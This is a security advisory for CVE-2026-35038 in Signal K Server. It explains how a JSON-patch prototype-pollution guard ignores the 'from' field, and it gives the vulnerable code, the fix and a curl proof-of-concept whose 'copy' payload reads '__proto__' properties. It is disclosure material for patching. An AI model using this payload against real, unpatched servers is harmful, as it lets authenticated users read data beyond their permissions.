signalk-server
Affected
- introduced
0, fixed2.24.0(semver)
Fixed versions
2.24.0
Fix
- Fixed version
2.24.0npm install [email protected]
Advisory
Also known as: CVE-2026-35038
Signal K Server: Arbitrary Prototype Read via from Field Bypass
Summary
The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.
While this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.
Vulnerability Root Cause
File: src/interfaces/applicationData.js (Lines 48-57)
const DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']
function isPrototypePollutionPath(pathString) {
const segments = pathString.split(/[./]/)
return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg))
}
function hasPrototypePollutionPatch(patches) {
return patches.some(
// [!VULNERABLE] Only checks patch.path, completely ignores patch.from
(patch) => patch.path && isPrototypePollutionPath(patch.path)
)
}
At Line 201:
if (hasPrototypePollutionPatch(req.body)) {
res.status(400).send('invalid patch path')
return
}
jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'
Proof of Concept (PoC)
Verify the Developer Guard Works (The Blocked Payload):
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]'
Result: 400 Bad Request - invalid patch path
Execute the Bypass (The Malicious Payload):
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]'
Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.
<img width="1222" height="230" alt="Screenshot 2026-03-24 150440" src="https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6" />
Security Impact
This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.
Fixing Arbitrary Prototype Read
The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:
function hasPrototypePollutionPatch(patches) {
return patches.some(
(patch) =>
(patch.path && isPrototypePollutionPath(patch.path)) ||
(patch.from && isPrototypePollutionPath(patch.from))
)
}Low Basis: The source's own band: LOW
0, fixed 2.24.0 (semver)2.24.0
2.24.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0